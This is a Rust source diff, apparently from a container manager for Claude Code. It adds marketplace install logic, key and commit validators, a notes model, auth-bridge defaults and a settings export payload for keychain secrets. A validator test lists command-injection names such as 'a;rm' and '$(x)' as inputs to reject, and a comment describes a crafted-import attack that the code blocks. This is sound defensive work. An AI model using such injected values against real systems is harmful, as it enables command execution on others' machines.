//! ([`effective_installs`]) and what names are allowed to reach a container
|
||||
//! path ([`is_valid_item_key`], [`marketplace_slug`]).
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum ItemKind {
|
||||
Agent,
|
||||
Skill,
|
||||
Command,
|
||||
Hook,
|
||||
Plugin,
|
||||
}
|
||||
|
||||
impl ItemKind {
|
||||
/// The lowercase name used in report strings (`"agent:code-reviewer"`) and the manifest.
|
||||
pub fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ItemKind::Agent => "agent",
|
||||
ItemKind::Skill => "skill",
|
||||
ItemKind::Command => "command",
|
||||
ItemKind::Hook => "hook",
|
||||
ItemKind::Plugin => "plugin",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum AccountMethod {
|
||||
GhHost,
|
||||
GhContainer,
|
||||
Token,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct MarketplaceAccount {
|
||||
pub id: String,
|
||||
pub label: String,
|
||||
pub host: String,
|
||||
pub method: AccountMethod,
|
||||
#[serde(default)]
|
||||
pub username: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct Marketplace {
|
||||
pub id: String,
|
||||
pub name: String,
|
||||
pub url: String,
|
||||
#[serde(default)]
|
||||
pub branch: Option<String>,
|
||||
#[serde(default)]
|
||||
pub account_id: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
|
||||
pub struct MarketplaceItemRef {
|
||||
pub marketplace_id: String,
|
||||
pub kind: ItemKind,
|
||||
pub key: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct MarketplaceInstall {
|
||||
pub marketplace_id: String,
|
||||
pub kind: ItemKind,
|
||||
pub key: String,
|
||||
pub commit: String,
|
||||
}
|
||||
|
||||
impl MarketplaceInstall {
|
||||
pub fn item_ref(&self) -> MarketplaceItemRef {
|
||||
MarketplaceItemRef {
|
||||
marketplace_id: self.marketplace_id.clone(),
|
||||
kind: self.kind,
|
||||
key: self.key.clone(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What a project's container actually gets: the global installs minus the
|
||||
/// ones this project opted out of, plus the project's own installs. When the
|
||||
/// project installs an item that is also global, the project's entry (and so
|
||||
/// its pin) wins. Sorted by item ref so the result is deterministic.
|
||||
pub fn effective_installs(
|
||||
global: &[MarketplaceInstall],
|
||||
disabled: &[MarketplaceItemRef],
|
||||
project: &[MarketplaceInstall],
|
||||
) -> Vec<MarketplaceInstall> {
|
||||
let mut out: BTreeMap<MarketplaceItemRef, MarketplaceInstall> = BTreeMap::new();
|
||||
for install in global {
|
||||
let item = install.item_ref();
|
||||
if disabled.contains(&item) {
|
||||
continue;
|
||||
}
|
||||
out.insert(item, install.clone());
|
||||
}
|
||||
for install in project {
|
||||
out.insert(install.item_ref(), install.clone());
|
||||
}
|
||||
out.into_values().collect()
|
||||
}
|
||||
|
||||
/// `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$` — the only names that may become a
|
||||
/// container path component. No `/`, no leading `.` or `-`, no shell
|
||||
/// metacharacters.
|
||||
pub fn is_valid_item_key(key: &str) -> bool {
|
||||
let bytes = key.as_bytes();
|
||||
if bytes.is_empty() || bytes.len() > 64 {
|
||||
return false;
|
||||
}
|
||||
if !bytes[0].is_ascii_alphanumeric() {
|
||||
return false;
|
||||
}
|
||||
bytes
|
||||
.iter()
|
||||
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
|
||||
}
|
||||
|
||||
/// A container-safe name for a marketplace (plugin marketplace
|
||||
/// `triple-c-<slug>`, plugin tree `plugins/<slug>/`): `mp-` and the first 8
|
||||
/// alphanumeric characters of its id, lowercased. It depends on the id only,
|
||||
/// never on the editable display name, so a rename cannot make a container
|
||||
/// see a different marketplace (final review M4). Containers synced with
|
||||
/// the earlier `<name>-<id8>` slugs move over on their next sync: the
|
||||
/// plugins are installed under the new name and the old copies uninstalled.
|
||||
pub fn marketplace_slug(id: &str) -> String {
|
||||
let id_part: String = id
|
||||
.chars()
|
||||
.filter(|c| c.is_ascii_alphanumeric())
|
||||
.map(|c| c.to_ascii_lowercase())
|
||||
.take(8)
|
||||
.collect();
|
||||
if id_part.is_empty() {
|
||||
"mp-marketplace".to_string()
|
||||
} else {
|
||||
format!("mp-{id_part}")
|
||||
}
|
||||
}
|
||||
|
||||
/// A full, lowercase, 40-character hex object id.
|
||||
pub fn is_valid_commit(commit: &str) -> bool {
|
||||
commit.len() == 40
|
||||
&& commit
|
||||
.bytes()
|
||||
.all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct CatalogItem {
|
||||
pub kind: ItemKind,
|
||||
pub key: String,
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
/// Repo-relative path of the item (file or folder).
|
||||
pub path: String,
|
||||
/// `Some(reason)` when the item cannot be installed.
|
||||
pub invalid: Option<String>,
|
||||
/// Hooks only: rendered commands with `${HOOK_DIR}` substituted.
|
||||
#[serde(default)]
|
||||
pub hook_commands: Vec<String>,
|
||||
/// Agents/commands/skills: the markdown body (≤ 64 KiB, truncated);
|
||||
/// plugins: a component listing.
|
||||
#[serde(default)]
|
||||
pub preview: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
pub struct MarketplaceSnapshot {
|
||||
pub marketplace_id: String,
|
||||
pub head_commit: Option<String>,
|
||||
/// RFC 3339.
|
||||
pub fetched_at: Option<String>,
|
||||
pub fetch_error: Option<String>,
|
||||
pub items: Vec<CatalogItem>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct ItemUpdate {
|
||||
pub item: MarketplaceItemRef,
|
||||
pub pinned: String,
|
||||
pub head: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum FileChange {
|
||||
Added,
|
||||
Removed,
|
||||
Modified,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct FileDiff {
|
||||
pub path: String,
|
||||
pub change: FileChange,
|
||||
/// Unified diff text; `None` when either side is binary.
|
||||
pub unified: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
pub struct SkippedItem {
|
||||
pub item: String,
|
||||
pub reason: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
pub struct SyncReport {
|
||||
#[serde(default)]
|
||||
pub installed: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub updated: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub removed: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub skipped: Vec<SkippedItem>,
|
||||
#[serde(default)]
|
||||
pub errors: Vec<String>,
|
||||
/// RFC 3339, set by the host.
|
||||
#[serde(default)]
|
||||
pub finished_at: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(tag = "type", rename_all = "snake_case")]
|
||||
pub enum InstallScope {
|
||||
Global,
|
||||
Project { project_id: String },
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ProjectSyncResult {
|
||||
pub project_id: String,
|
||||
pub report: SyncReport,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn install(market: &str, kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
|
||||
MarketplaceInstall {
|
||||
marketplace_id: market.to_string(),
|
||||
kind,
|
||||
key: key.to_string(),
|
||||
commit: commit.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn effective_set_is_global_minus_disabled_plus_project() {
|
||||
let global = vec![
|
||||
install("m1", ItemKind::Agent, "reviewer", "a"),
|
||||
install("m1", ItemKind::Hook, "notify", "a"),
|
||||
];
|
||||
let disabled = vec![MarketplaceItemRef {
|
||||
marketplace_id: "m1".into(),
|
||||
kind: ItemKind::Hook,
|
||||
key: "notify".into(),
|
||||
}];
|
||||
let project = vec![install("m2", ItemKind::Skill, "tidy", "b")];
|
||||
|
||||
let got = effective_installs(&global, &disabled, &project);
|
||||
|
||||
assert_eq!(
|
||||
got,
|
||||
vec![
|
||||
install("m1", ItemKind::Agent, "reviewer", "a"),
|
||||
install("m2", ItemKind::Skill, "tidy", "b"),
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn project_pin_wins_over_global_pin() {
|
||||
let global = vec![install("m1", ItemKind::Agent, "reviewer", "old")];
|
||||
let project = vec![install("m1", ItemKind::Agent, "reviewer", "new")];
|
||||
let got = effective_installs(&global, &[], &project);
|
||||
assert_eq!(got, vec![install("m1", ItemKind::Agent, "reviewer", "new")]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn same_key_different_kind_are_different_items() {
|
||||
let global = vec![
|
||||
install("m1", ItemKind::Agent, "x", "a"),
|
||||
install("m1", ItemKind::Command, "x", "a"),
|
||||
];
|
||||
assert_eq!(effective_installs(&global, &[], &[]).len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_keys_follow_the_pattern() {
|
||||
for ok in ["a", "code-reviewer", "A.b_c-9", &"x".repeat(64)] {
|
||||
assert!(is_valid_item_key(ok), "{ok} should be valid");
|
||||
}
|
||||
for bad in [
|
||||
"",
|
||||
".hidden",
|
||||
"-flag",
|
||||
"_x",
|
||||
"a/b",
|
||||
"a b",
|
||||
"a;rm",
|
||||
"$(x)",
|
||||
"ä",
|
||||
"..",
|
||||
&"x".repeat(65),
|
||||
] {
|
||||
assert!(!is_valid_item_key(bad), "{bad:?} should be invalid");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn slug_is_derived_from_the_id_only() {
|
||||
assert_eq!(
|
||||
marketplace_slug("7C9E6679-7425-40de-944b-e07fc1f90ae7"),
|
||||
"mp-7c9e6679"
|
||||
);
|
||||
assert_eq!(marketplace_slug("1A2B-3C4D-ffff"), "mp-1a2b3c4d");
|
||||
assert_eq!(marketplace_slug("ab"), "mp-ab");
|
||||
assert_eq!(marketplace_slug("--"), "mp-marketplace");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn commits_must_be_full_lowercase_hex() {
|
||||
assert!(is_valid_commit(&"a".repeat(40)));
|
||||
assert!(!is_valid_commit(&"A".repeat(40)));
|
||||
assert!(!is_valid_commit(&"a".repeat(39)));
|
||||
assert!(!is_valid_commit("HEAD"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn install_scope_serialises_tagged() {
|
||||
assert_eq!(
|
||||
serde_json::to_value(InstallScope::Global).unwrap(),
|
||||
serde_json::json!({"type": "global"})
|
||||
);
|
||||
assert_eq!(
|
||||
serde_json::to_value(InstallScope::Project {
|
||||
project_id: "p".into()
|
||||
})
|
||||
.unwrap(),
|
||||
serde_json::json!({"type": "project", "project_id": "p"})
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn kinds_serialise_snake_case() {
|
||||
assert_eq!(serde_json::to_value(ItemKind::Plugin).unwrap(), "plugin");
|
||||
assert_eq!(
|
||||
serde_json::to_value(AccountMethod::GhHost).unwrap(),
|
||||
"gh_host"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn settings_and_projects_saved_before_the_marketplace_still_load() {
|
||||
let mut settings = serde_json::to_value(crate::models::AppSettings::default()).unwrap();
|
||||
for key in [
|
||||
"marketplace_accounts",
|
||||
"marketplaces",
|
||||
"global_marketplace_installs",
|
||||
] {
|
||||
settings.as_object_mut().unwrap().remove(key);
|
||||
}
|
||||
let settings: crate::models::AppSettings = serde_json::from_value(settings).unwrap();
|
||||
assert!(settings.marketplace_accounts.is_empty());
|
||||
assert!(settings.marketplaces.is_empty());
|
||||
assert!(settings.global_marketplace_installs.is_empty());
|
||||
|
||||
let mut project =
|
||||
serde_json::to_value(crate::models::Project::new("p".to_string(), Vec::new())).unwrap();
|
||||
for key in ["marketplace_installs", "marketplace_disabled"] {
|
||||
project.as_object_mut().unwrap().remove(key);
|
||||
}
|
||||
let project: crate::models::Project = serde_json::from_value(project).unwrap();
|
||||
assert!(project.marketplace_installs.is_empty());
|
||||
assert!(project.marketplace_disabled.is_empty());
|
||||
}
|
||||
}
|
||||
@@ -1,13 +1,18 @@
|
||||
pub mod project;
|
||||
pub mod container_config;
|
||||
pub mod app_settings;
|
||||
pub mod container_config;
|
||||
pub mod gateway_settings;
|
||||
pub mod marketplace;
|
||||
pub mod migration;
|
||||
pub mod note;
|
||||
pub mod project;
|
||||
pub mod settings_export;
|
||||
pub mod update_info;
|
||||
|
||||
pub use project::*;
|
||||
pub use container_config::*;
|
||||
pub use app_settings::*;
|
||||
pub use container_config::*;
|
||||
pub use gateway_settings::*;
|
||||
pub use migration::*;
|
||||
pub use note::*;
|
||||
pub use project::*;
|
||||
pub use settings_export::*;
|
||||
pub use update_info::*;
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// One note. A scratchpad entry the user can also fire at a running Claude
|
||||
/// session.
|
||||
///
|
||||
/// Deliberately has no `kind`/`type` field. What makes a note "for the agent"
|
||||
/// is that the user pressed Send, not a mode chosen when it was written — a
|
||||
/// classification decision at writing time is one the user is least willing to
|
||||
/// make, and it would turn one pane into two features.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
|
||||
pub struct Note {
|
||||
pub id: String,
|
||||
pub title: String,
|
||||
pub body: String,
|
||||
/// Pinned notes sort first, then by `updated_at` descending.
|
||||
#[serde(default)]
|
||||
pub pinned: bool,
|
||||
pub created_at: String,
|
||||
pub updated_at: String,
|
||||
}
|
||||
|
||||
impl Note {
|
||||
pub fn new(title: String, body: String) -> Self {
|
||||
let now = chrono::Utc::now().to_rfc3339();
|
||||
Self {
|
||||
id: uuid::Uuid::new_v4().to_string(),
|
||||
title,
|
||||
body,
|
||||
pinned: false,
|
||||
created_at: now.clone(),
|
||||
updated_at: now,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -132,6 +132,26 @@ fn default_use_shared_auth_token() -> bool {
|
||||
true
|
||||
}
|
||||
|
||||
/// `auth_bridge_enabled` defaults to **on**, and the default is what makes
|
||||
/// `claude login` work at all.
|
||||
///
|
||||
/// The login flow binds a *random* ephemeral loopback port inside the
|
||||
/// container and then sends the host's browser to `127.0.0.1:<that port>`.
|
||||
/// On the host nothing is listening there, so the callback lands on a closed
|
||||
/// port and the CLI waits for a redirect that can never arrive. The bridge
|
||||
/// mirrors the container's loopback listeners onto the same host port, which
|
||||
/// is the only thing that closes that loop — so off-by-default made a hang the
|
||||
/// out-of-the-box experience.
|
||||
///
|
||||
/// Returning `true` from a `#[serde(default)]` helper (rather than flipping the
|
||||
/// constructor alone) is deliberate: existing `projects.json` records were
|
||||
/// written before this field existed, or while it was off, and an absent key is
|
||||
/// what the default is read for. A project that wants the old behaviour turns
|
||||
/// the toggle off, which persists an explicit `false`.
|
||||
fn default_auth_bridge_enabled() -> bool {
|
||||
true
|
||||
}
|
||||
|
||||
/// How much autonomy Claude Code is granted inside the container.
|
||||
///
|
||||
/// Maps onto Claude Code CLI flags — see [`PermissionMode::cli_args`], which is
|
||||
@@ -146,6 +166,9 @@ pub enum PermissionMode {
|
||||
Default,
|
||||
/// Auto-accept file edits, prompt for everything else.
|
||||
AcceptEdits,
|
||||
/// Claude Code's classifier approves safe actions and blocks risky ones,
|
||||
/// without prompting.
|
||||
Auto,
|
||||
/// Skip all permission prompts.
|
||||
Bypass,
|
||||
}
|
||||
@@ -160,6 +183,7 @@ impl PermissionMode {
|
||||
PermissionMode::AcceptEdits => {
|
||||
vec!["--permission-mode".to_string(), "acceptEdits".to_string()]
|
||||
}
|
||||
PermissionMode::Auto => vec!["--permission-mode".to_string(), "auto".to_string()],
|
||||
PermissionMode::Bypass => vec!["--dangerously-skip-permissions".to_string()],
|
||||
}
|
||||
}
|
||||
@@ -171,6 +195,7 @@ impl PermissionMode {
|
||||
PermissionMode::Plan => "plan",
|
||||
PermissionMode::Default => "default",
|
||||
PermissionMode::AcceptEdits => "acceptEdits",
|
||||
PermissionMode::Auto => "auto",
|
||||
PermissionMode::Bypass => "bypass",
|
||||
}
|
||||
}
|
||||
@@ -336,17 +361,30 @@ pub struct Project {
|
||||
pub sandbox_mode_enabled: bool,
|
||||
#[serde(default)]
|
||||
pub mission_control_enabled: bool,
|
||||
/// Opt in to the auth bridge: while the container runs, its loopback
|
||||
/// listeners are mirrored onto the host's loopback so browser OAuth
|
||||
/// callbacks (`claude login`, `fly login`, `aws sso login`) can reach them.
|
||||
/// The auth bridge: while the container runs, its loopback listeners are
|
||||
/// mirrored onto the host's loopback so browser OAuth callbacks
|
||||
/// (`claude login`, `fly login`, `aws sso login`) can reach them.
|
||||
/// Purely host-side — it deliberately has no container-recreation label,
|
||||
/// because toggling it changes nothing about the container itself.
|
||||
#[serde(default)]
|
||||
///
|
||||
/// **On by default**, and opt-*out* rather than opt-in — see
|
||||
/// [`default_auth_bridge_enabled`] for why the default is the feature.
|
||||
#[serde(default = "default_auth_bridge_enabled")]
|
||||
pub auth_bridge_enabled: bool,
|
||||
/// Opt in to the browser-view pane, which watches and takes over the
|
||||
/// browser Claude drives with Playwright inside the container. Purely
|
||||
/// host-side like `auth_bridge_enabled`, so it likewise has no
|
||||
/// container-recreation label.
|
||||
///
|
||||
/// This is the *durable* home of the flag: `BrowserViewManager` reads it
|
||||
/// rather than keeping its own copy, so the pane comes back the way it was
|
||||
/// left. Off by default, and unlike the auth bridge it stays that way — a
|
||||
/// view costs a container exec, a Node daemon and a host port, and a
|
||||
/// container without Playwright cannot serve one at all.
|
||||
///
|
||||
/// Durable does **not** mean auto-started: nothing brings a viewer up on
|
||||
/// app start, so a project left enabled reports `enabled` with a state of
|
||||
/// `Off` until the pane (or `open_page_in_container_browser`) asks for one.
|
||||
#[serde(default)]
|
||||
pub browser_view_enabled: bool,
|
||||
/// Grant the container what a VPN client needs to build a tunnel:
|
||||
@@ -408,6 +446,12 @@ pub struct Project {
|
||||
/// User-defined display names for terminal tabs, keyed by session id.
|
||||
#[serde(default)]
|
||||
pub renamed_session_names: HashMap<String, String>,
|
||||
/// Marketplace items installed for this project only (spec §2).
|
||||
#[serde(default)]
|
||||
pub marketplace_installs: Vec<super::marketplace::MarketplaceInstall>,
|
||||
/// Global marketplace installs this project opts out of.
|
||||
#[serde(default)]
|
||||
pub marketplace_disabled: Vec<super::marketplace::MarketplaceItemRef>,
|
||||
pub created_at: String,
|
||||
pub updated_at: String,
|
||||
}
|
||||
@@ -639,7 +683,7 @@ impl Project {
|
||||
allow_docker_access: false,
|
||||
sandbox_mode_enabled: false,
|
||||
mission_control_enabled: false,
|
||||
auth_bridge_enabled: false,
|
||||
auth_bridge_enabled: default_auth_bridge_enabled(),
|
||||
browser_view_enabled: false,
|
||||
vpn_support_enabled: false,
|
||||
use_shared_auth_token: default_use_shared_auth_token(),
|
||||
@@ -655,6 +699,8 @@ impl Project {
|
||||
claude_instructions: None,
|
||||
claude_code_settings: None,
|
||||
renamed_session_names: HashMap::new(),
|
||||
marketplace_installs: Vec::new(),
|
||||
marketplace_disabled: Vec::new(),
|
||||
created_at: now.clone(),
|
||||
updated_at: now,
|
||||
}
|
||||
@@ -751,7 +797,10 @@ mod tests {
|
||||
}
|
||||
|
||||
fn env(key: &str, value: &str) -> EnvVar {
|
||||
EnvVar { key: key.to_string(), value: value.to_string() }
|
||||
EnvVar {
|
||||
key: key.to_string(),
|
||||
value: value.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -849,7 +898,10 @@ mod tests {
|
||||
// `merge_claude_code_settings` spells it. `main` resolved this with
|
||||
// `if p.env_scrub { true } else { g.env_scrub }`, i.e. the global won —
|
||||
// and it has to go on winning, because the user never turned this off.
|
||||
let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() };
|
||||
let global = ClaudeCodeSettings {
|
||||
env_scrub: Some(true),
|
||||
..Default::default()
|
||||
};
|
||||
assert_eq!(
|
||||
stored.env_scrub.or(global.env_scrub),
|
||||
Some(true),
|
||||
@@ -864,7 +916,10 @@ mod tests {
|
||||
let json = r#"{ "env_scrub": false }"#;
|
||||
let chosen: ClaudeCodeSettings = serde_json::from_str(json).unwrap();
|
||||
assert_eq!(chosen.env_scrub, Some(false));
|
||||
let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() };
|
||||
let global = ClaudeCodeSettings {
|
||||
env_scrub: Some(true),
|
||||
..Default::default()
|
||||
};
|
||||
assert_eq!(chosen.env_scrub.or(global.env_scrub), Some(false));
|
||||
}
|
||||
|
||||
@@ -878,11 +933,82 @@ mod tests {
|
||||
assert_eq!(json, "{}");
|
||||
assert!(!json.contains("null"));
|
||||
|
||||
let partial = ClaudeCodeSettings { env_scrub: Some(false), ..Default::default() };
|
||||
let partial = ClaudeCodeSettings {
|
||||
env_scrub: Some(false),
|
||||
..Default::default()
|
||||
};
|
||||
let json = serde_json::to_string(&partial).unwrap();
|
||||
assert_eq!(json, r#"{"env_scrub":false}"#);
|
||||
// And it reads back as what it is.
|
||||
let round_tripped: ClaudeCodeSettings = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(round_tripped, partial);
|
||||
}
|
||||
|
||||
// ── The host-side per-project toggles ─────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn a_project_stored_before_the_auth_bridge_existed_gets_it_turned_on() {
|
||||
// The whole point of the serde default: `MAIN_SHAPE_PROJECT` is a real
|
||||
// record written by a shipped binary and has no `auth_bridge_enabled`
|
||||
// key at all. Without this, every existing project keeps hanging on
|
||||
// `claude login` until its owner finds the toggle.
|
||||
assert!(!MAIN_SHAPE_PROJECT.contains("auth_bridge_enabled"));
|
||||
let project: Project = serde_json::from_str(MAIN_SHAPE_PROJECT).unwrap();
|
||||
assert!(project.auth_bridge_enabled);
|
||||
|
||||
// The browser view is the other way round and must stay so: it costs a
|
||||
// Node daemon, a container exec loop and a host port, and most
|
||||
// containers have no Playwright to serve it with.
|
||||
assert!(!project.browser_view_enabled);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn turning_the_auth_bridge_off_survives_the_default() {
|
||||
// Opt-out has to be expressible, or the toggle does nothing across a
|
||||
// restart. An explicit `false` in the file beats the default.
|
||||
let json = r#"{ "auth_bridge_enabled": false }"#;
|
||||
#[derive(Deserialize)]
|
||||
struct JustTheFlag {
|
||||
#[serde(default = "default_auth_bridge_enabled")]
|
||||
auth_bridge_enabled: bool,
|
||||
}
|
||||
let parsed: JustTheFlag = serde_json::from_str(json).unwrap();
|
||||
assert!(!parsed.auth_bridge_enabled);
|
||||
|
||||
// And a saved project always writes the key, so the choice is pinned
|
||||
// rather than re-defaulted on the next load.
|
||||
let mut p = Project::new("demo".to_string(), Vec::new());
|
||||
p.auth_bridge_enabled = false;
|
||||
let round_tripped: Project =
|
||||
serde_json::from_str(&serde_json::to_string(&p).unwrap()).unwrap();
|
||||
assert!(!round_tripped.auth_bridge_enabled);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_new_project_starts_with_the_bridge_on_and_the_view_off() {
|
||||
let p = Project::new("demo".to_string(), Vec::new());
|
||||
assert!(p.auth_bridge_enabled);
|
||||
assert!(!p.browser_view_enabled);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_path_migration_never_writes_the_flags_and_so_cannot_defeat_the_default() {
|
||||
// `ProjectsStore::new` runs every record through this before
|
||||
// deserialising. If it inserted either key — even as `false` — the
|
||||
// serde default above would never be consulted for an existing project
|
||||
// and this change would be a no-op on exactly the projects it is for.
|
||||
let legacy = serde_json::json!({
|
||||
"id": "p1",
|
||||
"name": "demo",
|
||||
"path": "/home/u/demo",
|
||||
});
|
||||
let migrated = Project::migrate_from_value(legacy);
|
||||
let obj = migrated.as_object().unwrap();
|
||||
assert!(
|
||||
obj.contains_key("paths"),
|
||||
"the migration should still do its own job"
|
||||
);
|
||||
assert!(!obj.contains_key("auth_bridge_enabled"));
|
||||
assert!(!obj.contains_key("browser_view_enabled"));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,480 @@
|
||||
//! Settings export/import — see triple-c#35.
|
||||
//!
|
||||
//! `SettingsExportPayload` is the whole plaintext export before encryption
|
||||
//! and after decryption (see `storage::settings_crypto`). It bundles
|
||||
//! `AppSettings` — with one field carved out, see below — with the global
|
||||
//! secrets that live in the OS keychain instead: the shared Claude Code
|
||||
//! OAuth login and the model gateway's two keys. Per-project settings,
|
||||
//! per-project secrets, and anything living in a project's Docker volumes
|
||||
//! are deliberately out of scope: this exports the *host* environment, not
|
||||
//! any one project's.
|
||||
//!
|
||||
//! **`AppSettings` is not entirely the non-secret shape it looks like.**
|
||||
//! `WebTerminalSettings::access_token` is a live bearer credential for a
|
||||
//! server that binds every interface, stored as a plain field on the
|
||||
//! struct that is otherwise safe to treat as config. A review of this
|
||||
//! feature caught it: exporting `AppSettings` wholesale would have carried
|
||||
//! that token along as if it were as inert as a port number, and — worse —
|
||||
//! importing it would apply `web_terminal.enabled` and the token together
|
||||
//! with no more warning than any other setting, letting a crafted export
|
||||
//! silently stand up a LAN-listening terminal server with an
|
||||
//! attacker-known token on the next launch. `export_settings` /
|
||||
//! `apply_settings_import` blank this field out of the `settings` they
|
||||
//! read from and write to, and it travels only through
|
||||
//! [`ExportedSecrets::web_terminal_access_token`] instead, with the same
|
||||
//! "only overwrite what the import actually has" treatment as the other
|
||||
//! three secrets.
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use super::{AppSettings, ImageSource};
|
||||
|
||||
/// Bumped when the shape of [`SettingsExportPayload`] changes in a way that
|
||||
/// isn't just an additive, `#[serde(default)]`-covered field — e.g. if a
|
||||
/// field is ever removed or its meaning changes. `apply_settings_import`
|
||||
/// checks this before touching anything.
|
||||
pub const SETTINGS_EXPORT_FORMAT_VERSION: u32 = 1;
|
||||
|
||||
/// The global secrets bundled into an export. Deliberately a separate struct
|
||||
/// from `AppSettings`: these live in the OS keychain, never in
|
||||
/// `settings.json`, and — outside of this export/import flow — the values
|
||||
/// themselves never cross into the frontend; see the doc comments on
|
||||
/// `storage::secure::get_gateway_api_key` and
|
||||
/// `commands::settings_export_commands` for why that boundary matters here
|
||||
/// too.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct ExportedSecrets {
|
||||
#[serde(default)]
|
||||
pub claude_oauth_token: Option<String>,
|
||||
#[serde(default)]
|
||||
pub gateway_api_key: Option<String>,
|
||||
#[serde(default)]
|
||||
pub gateway_master_key: Option<String>,
|
||||
/// See the module doc comment — this is `AppSettings::web_terminal
|
||||
/// .access_token`, carved out because it is a live bearer credential,
|
||||
/// not config, despite living on a struct that is otherwise safe to
|
||||
/// export wholesale.
|
||||
#[serde(default)]
|
||||
pub web_terminal_access_token: Option<String>,
|
||||
/// Marketplace account tokens (`Token` and `GhContainer` accounts; a
|
||||
/// `GhHost` account stores none), keyed by account id. They live in the
|
||||
/// keychain, not in `AppSettings::marketplace_accounts`, so they travel
|
||||
/// here or an imported account could never fetch.
|
||||
#[serde(default)]
|
||||
pub marketplace_account_tokens: BTreeMap<String, String>,
|
||||
}
|
||||
|
||||
impl ExportedSecrets {
|
||||
pub fn is_empty(&self) -> bool {
|
||||
let blank = |s: &Option<String>| s.as_deref().is_none_or(|v| v.trim().is_empty());
|
||||
blank(&self.claude_oauth_token)
|
||||
&& blank(&self.gateway_api_key)
|
||||
&& blank(&self.gateway_master_key)
|
||||
&& blank(&self.web_terminal_access_token)
|
||||
&& self.marketplace_account_tokens.values().all(|v| v.trim().is_empty())
|
||||
}
|
||||
}
|
||||
|
||||
/// What `apply_settings_import` hands back: the settings that were actually
|
||||
/// saved, plus a human-readable note for each keychain secret this import
|
||||
/// carried but could not be restored. A keychain write failing partway
|
||||
/// through must not read as unqualified success just because the settings
|
||||
/// half of the import went through.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SettingsImportOutcome {
|
||||
pub settings: AppSettings,
|
||||
#[serde(default)]
|
||||
pub secret_restore_warnings: Vec<String>,
|
||||
}
|
||||
|
||||
/// The full plaintext payload — this is what gets encrypted on export and
|
||||
/// what decryption recovers on import. Never written to disk unencrypted;
|
||||
/// see `storage::settings_crypto`.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SettingsExportPayload {
|
||||
pub format_version: u32,
|
||||
/// RFC3339. Purely informational — shown in the import preview so a user
|
||||
/// picking between a few old export files has something to go on.
|
||||
